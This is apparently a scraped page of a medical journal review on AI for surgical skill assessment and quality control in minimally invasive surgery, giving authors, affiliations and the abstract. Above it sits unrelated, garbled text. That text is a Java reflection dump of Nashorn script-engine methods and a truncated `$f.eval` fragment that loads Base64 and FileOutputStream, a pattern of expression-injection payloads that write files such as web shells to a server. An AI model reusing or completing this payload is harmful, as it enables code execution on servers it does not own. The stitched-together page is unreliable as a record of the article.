public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (7): 1723-1730.doi: 10.12122/j.issn.1673-4254.2026.07.25

Previous Articles    

Application of artificial intelligence for surgical skill assessment and quality control in minimally invasive surgery: progress, problems and prospect

Boer SU1,2(), Ying ZHANG2, Zhixian YAN2, Ying ZOU2, Yufan CHENG3, Tianshu LI4, Jinming LI2, Xiaotong CHEN2, Chunqi LIANG5, Rong XU2, Shengming YANG6, Bo PENG2, Hao CHEN1(), Jiang YU1(), Yanfeng HU1()   

  1. 1.Department of General Surgery, Guangdong Provincial Key Laboratory of Precision Medicine for Gastrointestinal Tumor, Guangdong Provincial Engineering Technology Research Center of Minimally Invasive Surgery, Nanfang Hospital, Southern Medical University, Guangzhou 510515, China
    2.First School of Clinical Medicine, Southern Medical University, Guangzhou 510515, China
    4.School of Biomedical Engineering, Southern Medical University, Guangzhou 510515, China
    3.Shenzhen School of Clinical Medicine, Southern Medical University, Shenzhen 518100, China
    5.Second School of Clinical Medicine, Southern Medical University, Guangzhou 510282, China
    6.School of Clinical Medicine, Guangdong Provincial People's Hospital, Southern Medical University, Guangzhou 510080, China
  • Received:2026-04-02 Online:2026-07-20 Published:2026-07-20
  • Contact: Hao CHEN, Jiang YU, Yanfeng HU E-mail:1424554892@qq.com;chenhao.05@163.com;balbc@163.com;yfenghu@qq.com
  • Supported by:
    National Natural Science Foundation of China(82203712)

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Abstract:

Minimally invasive surgery has become an important approach for treating complex surgical conditions. As such surgical procedures are often associated with high risks and technical complexities, the surgeon's skills, efficiency of team collaboration, and capacities for emergency response all significantly affect the surgical outcomes. Establishing a robust surgical skill assessment and quality control system is therefore of vital importance to reduce the risks and enhance perioperative safety. In this context, the conventional methods for surgical skill assessment and quality control (e.g., subjective scoring, postoperative analysis, etc.) appear insufficient due to their inconsistent standards, time and labor intensity, and lack of real-time feedback. In recent years, artificial intelligence (AI), particularly computer vision-based deep learning technology, has demonstrated immense potential in surgical motion recognition, workflow phase analysis, and intraoperative safety monitoring, and has propelled the development of surgical skill assessment and quality control toward automation, objectivity, and precision. Herein the authors review the latest research progress in the application of AI in minimally invasive surgical skill assessment and quality control, focusing on AI-based skill assessment and quality control algorithm models. This review also addresses model generalization, privacy protection, multicenter applicability, and future clinical applications of intelligent precision surgery.

Key words: minimally invasive surgery, skill assessment, quality control, artificial intelligence, deep learning